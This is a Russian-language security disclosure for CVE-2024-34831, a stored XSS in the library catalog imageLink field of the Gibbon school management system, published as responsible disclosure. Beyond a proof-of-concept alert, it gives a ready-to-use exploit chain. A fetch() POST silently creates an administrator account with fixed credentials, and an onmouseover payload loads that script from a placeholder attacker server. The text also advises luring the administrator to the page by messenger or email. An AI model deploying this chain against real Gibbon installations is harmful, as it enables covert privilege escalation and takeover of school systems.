
Раскрытие CVE-2024-34831
Gibbon — это отличная полнофункциональная открытая система управления школой. Большие усилия прилагаются для модернизации довольно старой кодовой базы.
Автор: Christian Bajada
Параметр imageLink при редактировании/отправке новых книг (/modules/Library/library_manage_catalog_editProcess.php) подвержен XSS. Пользователи с разрешением Manage Catalog могут эксплуатировать эту уязвимость, вызывая выполнение произвольных скриптов для пользователей с более высокими привилегиями и повышая свои привилегии.
[http://x](http://x/)" onerror='alert(1)' — код alert выполнится при загрузке страницы библиотеки:

В этом разделе объясняется, как эту уязвимость можно использовать для чего-то более опасного, чем просто всплывающее окно alert(1). Мы собираемся обмануть администратора, вошедшего в систему, чтобы он незаметно создал другого администратора, доступного атакующему.
Поле imageLink слишком мало, чтобы позволить нам вызывать какую-либо значимую функциональность на платформе Gibbon. Мы можем просто разместить JavaScript в другом месте и заставить браузер загрузить и выполнить его. Отсутствие CSP делает это возможным.
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
Вам нужно либо подождать, пока администратор перейдет в каталог библиотеки, либо убедить его с помощью мессенджера, электронной почты или любого другого канала.
Действие наведения мыши (onmouseover) на изображение книги приведет к получению полезной нагрузки из указанного места (в данном случае <yourserver.com>) и ее выполнению. В результате будет создан административный пользователь, к которому теперь может получить доступ злоумышленник. Слушатель 'onerror' также можно использовать для немедленного выполнения полезной нагрузки без необходимости наводить курсор на изображение.
Вы можете проверить созданного пользователя в меню ADMIN > User Admin

Опубликовано в соответствии с рекомендациями по ответственному раскрытию https://github.com/GibbonEdu/core/security.